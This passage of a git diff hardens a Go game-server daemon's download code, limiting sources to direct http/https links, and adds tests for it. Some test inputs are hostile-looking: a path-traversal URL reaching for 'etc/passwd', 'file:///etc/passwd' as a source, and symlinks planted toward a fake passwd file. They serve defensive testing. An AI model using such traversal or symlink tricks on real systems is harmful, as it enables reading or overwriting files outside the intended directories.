error { diff --git a/internal/app/components/customhandlers/get_tool_test.go b/internal/app/components/customhandlers/get_tool_test.go index fa6066f..f4bbd4d 100644 --- a/internal/app/components/customhandlers/get_tool_test.go +++ b/internal/app/components/customhandlers/get_tool_test.go @@ -19,8 +19,9 @@ import ( const toolName = "install-tool.sh" -// http.FileServer answers HEAD with Accept-Ranges and serves Range requests, -// which is what lets go-getter resume onto a file that is already there. +// A tool that is already there, whatever its size, and the leftover of an +// interrupted download are both replaced by what the source serves: nothing is +// resumed onto them. func Test_GetTool_ReplacesThePreviousTool(t *testing.T) { published := bytes.Repeat([]byte("published line\n"), 100) @@ -107,3 +108,123 @@ func Test_GetTool_KeepsThePreviousToolWhenTheDownloadFails(t *testing.T) { assert.Equal(t, previous, got, "the previous tool must survive a failed fetch") assert.NoFileExists(t, destination+".part") } + +func Test_GetTool_BrokenDownloadKeepsThePreviousTool(t *testing.T) { + previous := []byte("previous tool\n") + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Length", "4096") + _, _ = w.Write([]byte("#!/bin/sh\n# the connection breaks off here")) + })) + defer server.Close() + + toolsDir := t.TempDir() + destination := filepath.Join(toolsDir, toolName) + require.NoError(t, os.WriteFile(destination, previous, 0o600)) + handler := customhandlers.NewGetTool(&config.Config{ToolsPath: toolsDir}) + out := &bytes.Buffer{} + + code, err := handler.Handle( + context.Background(), + []string{server.URL + "/" + toolName}, + out, + contracts.ExecutorOptions{}, + ) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to get tool") + assert.Contains(t, err.Error(), "unexpected EOF") + assert.Equal(t, int(domain.ErrorResult), code) + got, err := os.ReadFile(destination) + require.NoError(t, err) + assert.Equal(t, previous, got, "half a tool must not take the place of the previous one") + assert.NoFileExists(t, destination+".part") +} + +// A tool is a file the source serves, stored as it is served. Nothing but a +// link to a file is understood, and nothing is unpacked. +func Test_GetTool_Source(t *testing.T) { + archive := []byte("\x1f\x8b\x08 not unpacked") + + srcDir := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(srcDir, "tool.tar.gz"), archive, 0o644)) + server := httptest.NewServer(http.FileServer(http.Dir(srcDir))) + defer server.Close() + + tests := []struct { + name string + source string + wantTool string + wantError string + }{ + { + name: "archive is stored as it is", + source: server.URL + "/tool.tar.gz", + wantTool: "tool.tar.gz", + }, + { + name: "query is not part of the name", + source: server.URL + "/tool.tar.gz?version=2", + wantTool: "tool.tar.gz", + }, + { + name: "ftp", + source: "ftp://tools.example.com/install-tool.sh", + wantError: "unsupported source, a direct http or https link to a file is expected", + }, + { + name: "local path", + source: filepath.Join(srcDir, "tool.tar.gz"), + wantError: "unsupported source, a direct http or https link to a file is expected", + }, + { + name: "git repository", + source: "git::https://github.com/example/tool.git", + wantError: "unsupported source, a direct http or https link to a file is expected", + }, + { + name: "link that names no file", + source: server.URL + "/", + wantError: "names no file", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + toolsDir := filepath.Join(t.TempDir(), "tools") + handler := customhandlers.NewGetTool(&config.Config{ToolsPath: toolsDir}) + out := &bytes.Buffer{} + + code, err := handler.Handle(context.Background(), []string{tt.source}, out, contracts.ExecutorOptions{}) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Equal(t, int(domain.ErrorResult), code) + assert.NoDirExists(t, toolsDir, "nothing is created for a source that is refused") + + return + } + + require.NoError(t, err, out.String()) + assert.Equal(t, int(domain.SuccessResult), code) + + got, err := os.ReadFile(filepath.Join(toolsDir, tt.wantTool)) + require.NoError(t, err) + assert.Equal(t, archive, got) + + entries, err := os.ReadDir(toolsDir) + require.NoError(t, err) + require.Len(t, entries, 1) + }) + } +} + +func Test_GetTool_NoSource(t *testing.T) { + handler := customhandlers.NewGetTool(&config.Config{ToolsPath: t.TempDir()}) + + code, err := handler.Handle(context.Background(), nil, &bytes.Buffer{}, contracts.ExecutorOptions{}) + + require.Error(t, err) + assert.Contains(t, err.Error(), "no source provided") + assert.Equal(t, int(domain.ErrorResult), code) +} diff --git a/internal/app/components/customhandlers/get_tool_unix_test.go b/internal/app/components/customhandlers/get_tool_unix_test.go new file mode 100644 index 0000000..eb4ab74 --- /dev/null +++ b/internal/app/components/customhandlers/get_tool_unix_test.go @@ -0,0 +1,114 @@ +//go:build linux || darwin + +package customhandlers_test + +import ( + "bytes" + "context" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + + "github.com/gameap/daemon/internal/app/components/customhandlers" + "github.com/gameap/daemon/internal/app/config" + "github.com/gameap/daemon/internal/app/contracts" + "github.com/gameap/daemon/internal/app/domain" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func Test_GetTool_ToolIsExecutableByItsOwnerOnly(t *testing.T) { + srcDir := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(srcDir, toolName), []byte("#!/bin/sh\n"), 0o644)) + server := httptest.NewServer(http.FileServer(http.Dir(srcDir))) + defer server.Close() + + toolsDir := t.TempDir() + handler := customhandlers.NewGetTool(&config.Config{ToolsPath: toolsDir}) + + code, err := handler.Handle( + context.Background(), + []string{server.URL + "/" + toolName}, + &bytes.Buffer{}, + contracts.ExecutorOptions{}, + ) + + require.NoError(t, err) + assert.Equal(t, int(domain.SuccessResult), code) + + info, err := os.Lstat(filepath.Join(toolsDir, toolName)) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o700), info.Mode()) +} + +// The tool is downloaded under a name that can be told in advance. A symlink +// waiting under that name, or under the name of the tool, is replaced: the +// download is not written to where it leads. +func Test_GetTool_SymlinkInPlaceOfTheDownload(t *testing.T) { + published := []byte("#!/bin/sh\necho tool\n") + + srcDir := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(srcDir, toolName), published, 0o644)) + server := httptest.NewServer(http.FileServer(http.Dir(srcDir))) + defer server.Close() + + tests := []struct { + name string + // link is the name the symlink stands under, relative to the tools + // directory. + link string + // missing makes the link lead to a file that is not there. + missing bool + }{ + {name: "link to a file under the name of the partial download", link: toolName + ".part"}, + {name: "link to a missing file under the name of the partial download", link: toolName + ".part", missing: true}, + {name: "link to a file under the name of the tool", link: toolName}, + {name: "link to a missing file under the name of the tool", link: toolName, missing: true}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + toolsDir := t.TempDir() + outside := t.TempDir() + target := filepath.Join(outside, "passwd") + if !tt.missing { + require.NoError(t, os.WriteFile(target, []byte("root:x:0:0"), 0o600)) + } + require.NoError(t, os.Symlink(target, filepath.Join(toolsDir, tt.link))) + handler := customhandlers.NewGetTool(&config.Config{ToolsPath: toolsDir}) + out := &bytes.Buffer{} + + code, err := handler.Handle( + context.Background(), + []string{server.URL + "/" + toolName}, + out, + contracts.ExecutorOptions{}, + ) + + require.NoError(t, err, out.String()) + assert.Equal(t, int(domain.SuccessResult), code) + + if tt.missing { + assert.NoFileExists(t, target, "nothing is created where the link leads") + } else { + content, err := os.ReadFile(target) + require.NoError(t, err) + assert.Equal(t, "root:x:0:0", string(content), "the file the link leads to keeps its content") + + info, err := os.Lstat(target) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o600), info.Mode(), "the file the link leads to keeps its mode") + } + + info, err := os.Lstat(filepath.Join(toolsDir, toolName)) + require.NoError(t, err) + require.True(t, info.Mode().IsRegular(), "the tool has to be a regular file, it is %s", info.Mode()) + + got, err := os.ReadFile(filepath.Join(toolsDir, toolName)) + require.NoError(t, err) + assert.Equal(t, published, got) + assert.NoFileExists(t, filepath.Join(toolsDir, toolName+".part")) + }) + } +} diff --git a/internal/app/components/progress_tracker.go b/internal/app/components/progress_tracker.go index b7c705d..5e58d2c 100644 --- a/internal/app/components/progress_tracker.go +++ b/internal/app/components/progress_tracker.go @@ -7,14 +7,14 @@ import ( "sync" "time" + "github.com/gameap/daemon/internal/app/fetch" "github.com/gameap/daemon/pkg/humanize" - "github.com/hashicorp/go-getter" ) -// Compile-time check that DownloadProgressTracker implements getter.ProgressTracker. -var _ getter.ProgressTracker = (*DownloadProgressTracker)(nil) +// Compile-time check that DownloadProgressTracker implements fetch.ProgressTracker. +var _ fetch.ProgressTracker = (*DownloadProgressTracker)(nil) -// DownloadProgressTracker implements go-getter's ProgressTracker interface +// DownloadProgressTracker implements fetch.ProgressTracker // and outputs periodic progress updates to an io.Writer. type DownloadProgressTracker struct { output io.Writer @@ -31,7 +31,7 @@ func NewDownloadProgressTracker(output io.Writer, interval time.Duration) *Downl } } -// TrackProgress implements getter.ProgressTracker interface. +// TrackProgress implements fetch.ProgressTracker interface. // It wraps the download stream and periodically outputs progress information. func (pt *DownloadProgressTracker) TrackProgress( src string, diff --git a/internal/app/di/internal/definitions/container.go b/internal/app/di/internal/definitions/container.go index 3c1914d..298e9d1 100644 --- a/internal/app/di/internal/definitions/container.go +++ b/internal/app/di/internal/definitions/container.go @@ -4,7 +4,9 @@ import ( "context" "github.com/gameap/daemon/internal/app/contracts" + "github.com/gameap/daemon/internal/app/fsutil" gameservercommands "github.com/gameap/daemon/internal/app/game_server_commands" + "github.com/gameap/daemon/internal/app/repositories" "github.com/gameap/daemon/internal/app/services" ) @@ -39,5 +41,14 @@ func CreateServerCommandFactory(ctx context.Context, c Container) *gameservercom c.Repositories().ServerRepository(ctx), c.Services().Executor(ctx), c.Services().ProcessManager(ctx), + serverDirBoundaries(ctx, c)..., ) } + +// serverDirBoundaries makes the directory of every game server the daemon +// knows a boundary for whatever is opened inside the work directory. +func serverDirBoundaries(ctx context.Context, c Container) []fsutil.ConfineOption { + serverRepo := c.Repositories().ServerRepository(ctx).(*repositories.ServerRepository) + + return []fsutil.ConfineOption{fsutil.WithServerDirs(serverRepo)} +} diff --git a/internal/app/di/internal/definitions/services.go b/internal/app/di/internal/definitions/services.go index d41dfdb..3206b91 100644 --- a/internal/app/di/internal/definitions/services.go +++ b/internal/app/di/internal/definitions/services.go @@ -43,6 +43,7 @@ func CreateServicesProcessManager(ctx context.Context, c Container) contracts.Pr c.Cfg(ctx), c.Services().Executor(ctx), components.NewExecutor(), + serverDirBoundaries(ctx, c)..., ) if err != nil { c.SetError(err) diff --git a/internal/app/fetch/contracts.go b/internal/app/fetch/contracts.go new file mode 100644 index 0000000..512b4a4 --- /dev/null +++ b/internal/app/fetch/contracts.go @@ -0,0 +1,10 @@ +package fetch + +import "io" + +// ProgressTracker is told about a download as its body is read. It wraps the +// stream it is given and returns the one the download reads from; closing that +// stream ends the tracking. +type ProgressTracker interface { + TrackProgress(src string, currentSize, totalSize int64, stream io.ReadCloser) io.ReadCloser +} diff --git a/internal/app/fetch/fetch.go b/internal/app/fetch/fetch.go new file mode 100644 index 0000000..5ac0aa3 --- /dev/null +++ b/internal/app/fetch/fetch.go @@ -0,0 +1,130 @@ +// Package fetch downloads the files the daemon installs for the operator: game +// server archives and tools. +// +// A source is a direct HTTP or HTTPS link to one file. Nothing else is +// understood: no other scheme, no query parameter that changes what is done +// with the file, no instruction from the server about where else to look. What +// the link serves is written to the writer the caller hands over, and what +// becomes of it afterwards is the caller's decision alone. +package fetch + +import ( + "context" + "io" + "net" + "net/http" + "net/url" + "path" + "strings" + "time" + + "github.com/pkg/errors" +) + +const ( + dialTimeout = 30 * time.Second + tlsHandshakeTimeout = 10 * time.Second + responseHeaderTimeout = 60 * time.Second + idleConnTimeout = 90 * time.Second +) + +// ErrUnsupportedSource is returned for a source that is not an HTTP or HTTPS +// link to a file. +var ErrUnsupportedSource = errors.New("unsupported source, a direct http or https link to a file is expected") + +// A download has no deadline of its own: a game server archive takes as long +// as it takes, and the caller's context ends it. The timeouts only cover the +// steps that have nothing to wait for, so that a mirror that accepts the +// connection and never answers is given up on. +var client = &http.Client{ + Transport: &http.Transport{ + Proxy: http.ProxyFromEnvironment, + DialContext: (&net.Dialer{ + Timeout: dialTimeout, + KeepAlive: dialTimeout, + }).DialContext, + ForceAttemptHTTP2: true, + TLSHandshakeTimeout: tlsHandshakeTimeout, + ResponseHeaderTimeout: responseHeaderTimeout, + IdleConnTimeout: idleConnTimeout, + ExpectContinueTimeout: time.Second, + }, +} + +// FileName returns what the file a source serves is called: the last element +// of the path the link names. Neither a redirect nor a response header changes +// it, so the name is known, and can be judged, before anything is requested. +func FileName(rawURL string) (string, error) { + source, err := parseSource(rawURL) + if err != nil { + return "", err + } + + name := path.Base(source.Path) + + if strings.HasSuffix(source.Path, "/") || name == "." || name == ".." || strings.ContainsAny(name, "/\\\x00") { + return "", errors.WithMessagef(ErrUnsupportedSource, "%q names no file", source.Redacted()) + } + + return name, nil +} + +// Download writes what the source serves to dst and returns the number of +// bytes written. Anything but a complete 200 response is an error, and dst is +// then left with whatever had arrived. +func Download(ctx context.Context, rawURL string, dst io.Writer, tracker ProgressTracker) (int64, error) { + source, err := parseSource(rawURL) + if err != nil { + return 0, err + } + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, source.String(), nil) + if err != nil { + return 0, errors.Wrapf(err, "failed to build a request for %q", source.Redacted()) + } + + // The file is stored as it is served. Left to itself the transport asks for + // gzip and unpacks the answer, and a server that labels a .tar.gz as gzip + // encoded would have its archive stored under a name it no longer matches. + req.Header.Set("Accept-Encoding", "identity") + + resp, err := client.Do(req) + if err != nil { + return 0, errors.Wrap(err, "failed to download") + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return 0, errors.Errorf("failed to download %q: the server answered %q", source.Redacted(), resp.Status) + } + + body := resp.Body + if tracker != nil { + body = tracker.TrackProgress(source.Redacted(), 0, max(resp.ContentLength, 0), resp.Body) + } + + written, copyErr := io.Copy(dst, body) + closeErr := body.Close() + + if copyErr != nil { + return written, errors.Wrapf(copyErr, "failed to download %q", source.Redacted()) + } + if closeErr != nil { + return written, errors.Wrapf(closeErr, "failed to finish the download of %q", source.Redacted()) + } + + return written, nil +} + +func parseSource(rawURL string) (*url.URL, error) { + source, err := url.Parse(rawURL) + if err != nil { + return nil, errors.Wrap(err, "failed to parse the source") + } + + if (source.Scheme != "http" && source.Scheme != "https") || source.Host == "" { + return nil, errors.WithMessagef(ErrUnsupportedSource, "%q", source.Redacted()) + } + + return source, nil +} diff --git a/internal/app/fetch/fetch_test.go b/internal/app/fetch/fetch_test.go new file mode 100644 index 0000000..a6f2f23 --- /dev/null +++ b/internal/app/fetch/fetch_test.go @@ -0,0 +1,611 @@ +package fetch + +import ( + "bytes" + "compress/gzip" + "context" + "io" + "net/http" + "net/http/httptest" + "strconv" + "strings" + "sync" + "testing" + + "github.com/pkg/errors" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// recordingTracker remembers what a download told it and whether the stream it +// handed out was closed. +type recordingTracker struct { + mu sync.Mutex + calls int + src string + current int64 + total int64 + bytesRead int64 + closed bool +} + +func (r *recordingTracker) TrackProgress(src string, currentSize, totalSize int64, stream io.ReadCloser) io.ReadCloser { + r.mu.Lock() + defer r.mu.Unlock() + + r.calls++ + r.src = src + r.current = currentSize + r.total = totalSize + + return &recordedStream{ReadCloser: stream, tracker: r} +} + +type recordedStream struct { + io.ReadCloser + tracker *recordingTracker +} + +func (s *recordedStream) Read(p []byte) (int, error) { + n, err := s.ReadCloser.Read(p) + + s.tracker.mu.Lock() + s.tracker.bytesRead += int64(n) + s.tracker.mu.Unlock() + + return n, err +} + +func (s *recordedStream) Close() error { + s.tracker.mu.Lock() + s.tracker.closed = true + s.tracker.mu.Unlock() + + return s.ReadCloser.Close() +} + +func newServer(t *testing.T, handler http.HandlerFunc) *httptest.Server { + t.Helper() + + server := httptest.NewServer(handler) + t.Cleanup(server.Close) + + return server +} + +func TestFileName(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + source string + want string + wantError string + }{ + { + name: "archive", + source: "https://files.gameap.ru/half-life/hlds.tar.xz", + want: "hlds.tar.xz", + }, + { + name: "plain_http", + source: "http://mirror.example.com/minecraft/server.jar", + want: "server.jar", + }, + { + name: "query_is_not_part_of_the_name", + source: "https://example.com/files/game.zip?token=abc&archive=false", + want: "game.zip", + }, + { + name: "fragment_is_not_part_of_the_name", + source: "https://example.com/files/game.zip#latest", + want: "game.zip", + }, + { + name: "escaped_characters_are_decoded", + source: "https://example.com/files/my%20game.zip", + want: "my game.zip", + }, + { + name: "escaped_separator_does_not_reach_above_the_name", + source: "https://example.com/files/..%2F..%2Fetc%2Fpasswd", + want: "passwd", + }, + { + name: "port_and_credentials", + source: "https://user:secret@example.com:8443/repo/game.7z", + want: "game.7z", + }, + { + name: "no_path", + source: "https://example.com", + wantError: `"https://example.com" names no file: unsupported source`, + }, + { + name: "path_names_a_directory", + source: "https://example.com/files/", + wantError: `"https://example.com/files/" names no file: unsupported source`, + }, + { + name: "path_ends_above_itself", + source: "https://example.com/files/..", + wantError: `names no file: unsupported source`, + }, + { + name: "backslash_in_the_name", + source: `https://example.com/files/..%5Cgame.zip`, + wantError: `names no file: unsupported source`, + }, + { + name: "password_is_not_repeated_in_the_error", + source: "https://user:secret@example.com/", + wantError: `"https://user:xxxxx@example.com/" names no file`, + }, + { + name: "ftp", + source: "ftp://example.com/game.zip", + wantError: `"ftp://example.com/game.zip": unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "local_file_url", + source: "file:///srv/gameap/repository/game.zip", + wantError: `unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "s3_bucket", + source: "s3::https://s3.amazonaws.com/bucket/game.zip", + wantError: `unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "git_repository", + source: "git::https://github.com/example/game.git", + wantError: `unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "local_path", + source: "/srv/gameap/repository/game.zip", + wantError: `unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "scheme_without_a_host", + source: "https:///game.zip", + wantError: `unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "empty_source", + source: "", + wantError: `unsupported source, a direct http or https link to a file is expected`, + }, + { + name: "unparsable_source", + source: "https://exa mple.com/game.zip", + wantError: "failed to parse the source", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got, err := FileName(tt.source) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.NotContains(t, err.Error(), "secret") + assert.Empty(t, got) + + return + } + + require.NoError(t, err) + assert.Equal(t, tt.want, got) + }) + } +} + +func TestFileName_UnsupportedSourceIsRecognizable(t *testing.T) { + t.Parallel() + + for _, source := range []string{"ftp://example.com/game.zip", "https://example.com/files/", "game.zip"} { + _, err := FileName(source) + + require.ErrorIs(t, err, ErrUnsupportedSource, source) + } +} + +func TestDownload_StoresWhatTheSourceServes(t *testing.T) { + t.Parallel() + + content := strings.Repeat("game archive content ", 4096) + + var gotMethod, gotEncoding, gotPath, gotQuery string + + server := newServer(t, func(w http.ResponseWriter, r *http.Request) { + gotMethod = r.Method + gotEncoding = r.Header.Get("Accept-Encoding") + gotPath = r.URL.Path + gotQuery = r.URL.RawQuery + + w.Header().Set("Content-Length", strconv.Itoa(len(content))) + _, _ = io.WriteString(w, content) + }) + + var dst bytes.Buffer + tracker := &recordingTracker{} + source := server.URL + "/repo/game.tar.gz?token=abc" + + written, err := Download(context.Background(), source, &dst, tracker) + + require.NoError(t, err) + assert.Equal(t, int64(len(content)), written) + assert.Equal(t, content, dst.String()) + + assert.Equal(t, http.MethodGet, gotMethod) + assert.Equal(t, "identity", gotEncoding) + assert.Equal(t, "/repo/game.tar.gz", gotPath) + assert.Equal(t, "token=abc", gotQuery, "the query belongs to the source and is sent as it is") + + assert.Equal(t, 1, tracker.calls) + assert.Equal(t, source, tracker.src) + assert.Zero(t, tracker.current) + assert.Equal(t, int64(len(content)), tracker.total) + assert.Equal(t, int64(len(content)), tracker.bytesRead) + assert.True(t, tracker.closed, "the stream handed out by the tracker has to be closed") +} + +func TestDownload_WithoutATracker(t *testing.T) { + t.Parallel() + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, "tool") + }) + + var dst bytes.Buffer + + written, err := Download(context.Background(), server.URL+"/tool", &dst, nil) + + require.NoError(t, err) + assert.Equal(t, int64(4), written) + assert.Equal(t, "tool", dst.String()) +} + +func TestDownload_UnknownLength(t *testing.T) { + t.Parallel() + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + flusher, ok := w.(http.Flusher) + if !ok { + http.Error(w, "streaming is not supported", http.StatusInternalServerError) + + return + } + + for range 3 { + _, _ = io.WriteString(w, "chunk ") + flusher.Flush() + } + }) + + var dst bytes.Buffer + tracker := &recordingTracker{} + + written, err := Download(context.Background(), server.URL+"/stream.bin", &dst, tracker) + + require.NoError(t, err) + assert.Equal(t, int64(18), written) + assert.Equal(t, "chunk chunk chunk ", dst.String()) + assert.Zero(t, tracker.total, "a length the server did not give is reported as unknown") +} + +func TestDownload_FollowsRedirects(t *testing.T) { + t.Parallel() + + mirror := newServer(t, func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/storage/game.zip" { + http.NotFound(w, r) + + return + } + + _, _ = io.WriteString(w, "from the mirror") + }) + + origin := newServer(t, func(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, mirror.URL+"/storage/game.zip", http.StatusFound) + }) + + var dst bytes.Buffer + + written, err := Download(context.Background(), origin.URL+"/game.zip", &dst, nil) + + require.NoError(t, err) + assert.Equal(t, int64(15), written) + assert.Equal(t, "from the mirror", dst.String()) +} + +// A server may label what it sends as gzip encoded, whether asked to or not. +// The file is an archive under the name the link gave it and is kept as sent. +func TestDownload_KeepsAnEncodedBodyAsItIsSent(t *testing.T) { + t.Parallel() + + var packed bytes.Buffer + + zw := gzip.NewWriter(&packed) + _, err := zw.Write([]byte("tar stream")) + require.NoError(t, err) + require.NoError(t, zw.Close()) + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Encoding", "gzip") + w.Header().Set("Content-Type", "application/x-tar") + _, _ = w.Write(packed.Bytes()) + }) + + var dst bytes.Buffer + + written, err := Download(context.Background(), server.URL+"/game.tar.gz", &dst, nil) + + require.NoError(t, err) + assert.Equal(t, int64(packed.Len()), written) + assert.Equal(t, packed.Bytes(), dst.Bytes()) +} + +func TestDownload_SendsTheCredentialsOfTheSource(t *testing.T) { + t.Parallel() + + var gotUser, gotPassword string + + server := newServer(t, func(w http.ResponseWriter, r *http.Request) { + gotUser, gotPassword, _ = r.BasicAuth() + + _, _ = io.WriteString(w, "private") + }) + + source := strings.Replace(server.URL, "http://", "http://repo:secret@", 1) + "/private/game.zip" + + var dst bytes.Buffer + tracker := &recordingTracker{} + + _, err := Download(context.Background(), source, &dst, tracker) + + require.NoError(t, err) + assert.Equal(t, "repo", gotUser) + assert.Equal(t, "secret", gotPassword) + assert.NotContains(t, tracker.src, "secret", "the password does not go into the progress output") +} + +func TestDownload_ServerRefuses(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + status int + wantError string + }{ + { + name: "not_found", + status: http.StatusNotFound, + wantError: `the server answered "404 Not Found"`, + }, + { + name: "forbidden", + status: http.StatusForbidden, + wantError: `the server answered "403 Forbidden"`, + }, + { + name: "server_error", + status: http.StatusInternalServerError, + wantError: `the server answered "500 Internal Server Error"`, + }, + { + name: "no_content", + status: http.StatusNoContent, + wantError: `the server answered "204 No Content"`, + }, + { + name: "partial_content_that_was_not_asked_for", + status: http.StatusPartialContent, + wantError: `the server answered "206 Partial Content"`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(tt.status) + + if tt.status != http.StatusNoContent { + _, _ = io.WriteString(w, "an error page that is no archive") + } + }) + + source := strings.Replace(server.URL, "http://", "http://repo:secret@", 1) + "/game.zip" + + var dst bytes.Buffer + tracker := &recordingTracker{} + + written, err := Download(context.Background(), source, &dst, tracker) + + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Contains(t, err.Error(), "/game.zip") + assert.NotContains(t, err.Error(), "secret") + assert.Zero(t, written) + assert.Zero(t, dst.Len(), "the error page is not stored as the file") + assert.Zero(t, tracker.calls) + }) + } +} + +func TestDownload_ConnectionBreaksBeforeTheBodyIsComplete(t *testing.T) { + t.Parallel() + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Length", "1024") + _, _ = io.WriteString(w, "only the beginning") + }) + + var dst bytes.Buffer + tracker := &recordingTracker{} + + written, err := Download(context.Background(), server.URL+"/game.zip", &dst, tracker) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to download") + assert.Contains(t, err.Error(), "unexpected EOF") + assert.Equal(t, int64(18), written) + assert.True(t, tracker.closed) +} + +func TestDownload_ServerIsNotThere(t *testing.T) { + t.Parallel() + + server := httptest.NewServer(http.NotFoundHandler()) + source := server.URL + "/game.zip" + server.Close() + + var dst bytes.Buffer + + written, err := Download(context.Background(), source, &dst, nil) + + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to download") + assert.Zero(t, written) + assert.Zero(t, dst.Len()) +} + +// cancelingWriter cancels the context of the download once the first bytes +// arrive, the way an aborted installation does in the middle of an archive. +type cancelingWriter struct { + written int + cancel context.CancelFunc +} + +func (w *cancelingWriter) Write(p []byte) (int, error) { + w.written += len(p) + w.cancel() + + return len(p), nil +} + +func TestDownload_CanceledWhileTheBodyArrives(t *testing.T) { + t.Parallel() + + released := make(chan struct{}) + + server := newServer(t, func(w http.ResponseWriter, r *http.Request) { + flusher, ok := w.(http.Flusher) + if !ok { + http.Error(w, "streaming is not supported", http.StatusInternalServerError) + + return + } + + w.Header().Set("Content-Length", "1048576") + _, _ = io.WriteString(w, "first bytes") + flusher.Flush() + + select { + case <-r.Context().Done(): + case <-released: + } + }) + t.Cleanup(func() { close(released) }) + + ctx, cancel := context.WithCancel(context.Background()) + t.Cleanup(cancel) + + dst := &cancelingWriter{cancel: cancel} + tracker := &recordingTracker{} + + written, err := Download(ctx, server.URL+"/game.zip", dst, tracker) + + require.ErrorIs(t, err, context.Canceled) + assert.Equal(t, int64(11), written) + assert.Equal(t, 11, dst.written) + assert.True(t, tracker.closed) +} + +func TestDownload_CanceledBeforeItStarts(t *testing.T) { + t.Parallel() + + requested := false + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + requested = true + + _, _ = io.WriteString(w, "content") + }) + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + var dst bytes.Buffer + + written, err := Download(ctx, server.URL+"/game.zip", &dst, nil) + + require.ErrorIs(t, err, context.Canceled) + assert.Zero(t, written) + assert.False(t, requested) +} + +var errDiskFull = errors.New("no space left on device") + +type fullDisk struct{} + +func (fullDisk) Write([]byte) (int, error) { + return 0, errDiskFull +} + +func TestDownload_DestinationRefusesTheBytes(t *testing.T) { + t.Parallel() + + server := newServer(t, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, "content") + }) + + tracker := &recordingTracker{} + + written, err := Download(context.Background(), server.URL+"/game.zip", fullDisk{}, tracker) + + require.ErrorIs(t, err, errDiskFull) + assert.Contains(t, err.Error(), "failed to download") + assert.Zero(t, written) + assert.True(t, tracker.closed) +} + +func TestDownload_UnsupportedSource(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + source string + }{ + {name: "ftp", source: "ftp://example.com/game.zip"}, + {name: "local_file_url", source: "file:///etc/passwd"}, + {name: "local_path", source: "/etc/passwd"}, + {name: "s3_bucket", source: "s3::https://s3.amazonaws.com/bucket/game.zip"}, + {name: "git_repository", source: "git::https://github.com/example/game.git"}, + {name: "empty_source", source: ""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + var dst bytes.Buffer + tracker := &recordingTracker{} + + written, err := Download(context.Background(), tt.source, &dst, tracker) + + require.ErrorIs(t, err, ErrUnsupportedSource) + assert.Zero(t, written) + assert.Zero(t, dst.Len()) + assert.Zero(t, tracker.calls) + }) + } +} diff --git a/internal/app/fsutil/copy.go b/internal/app/fsutil/copy.go index 9054bad..3b80fb3 100644 --- a/internal/app/fsutil/copy.go +++ b/internal/app/fsutil/copy.go @@ -29,6 +29,11 @@ type CopyOptions struct { Symlink SymlinkAction // AddPermission is OR'd into the mode of every copied regular file. AddPermission os.FileMode + // ReplaceSymlinks takes away a symlink standing where a regular file is + // copied to and writes the file in its place. Without it the file is + // written through a link that stays inside the destination root, and the + // copy fails on one that leads out of it. + ReplaceSymlinks bool } // ErrCopyIntoItself is returned when the destination of a directory copy is @@ -234,6 +239,12 @@ func (c *copier) file(src, dst string, info fs.FileInfo) error { perm := (info.Mode() | c.opts.AddPermission).Perm() + if c.opts.ReplaceSymlinks { + if err := c.removeSymlink(dst); err != nil { + return err + } + } + // The destination is opened as it stands and emptied only once it is known // to be another file. Its name says nothing about that: a link in the // destination tree, a link the source was reached through or a second name @@ -266,6 +277,28 @@ func (c *copier) file(src, dst string, info fs.FileInfo) error { return nil } +// removeSymlink takes away the symlink standing at name, if one does. +func (c *copier) removeSymlink(name string) error { + info, err := c.dstRoot.Lstat(name) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + + return errors.Wrap(err, "failed to stat destination file") + } + + if info.Mode()&os.ModeSymlink == 0 { + return nil + } + + if err := c.dstRoot.Remove(name); err != nil { + return errors.Wrap(err, "failed to remove the symlink standing in place of the destination file") + } + + return nil +} + // emptyUnlessSame truncates dst, unless it is the file src reads from. The two // are compared as they were opened, so neither can become another file between // the comparison and the write. diff --git a/internal/app/fsutil/copy_unix_test.go b/internal/app/fsutil/copy_unix_test.go index c73df62..3acae8c 100644 --- a/internal/app/fsutil/copy_unix_test.go +++ 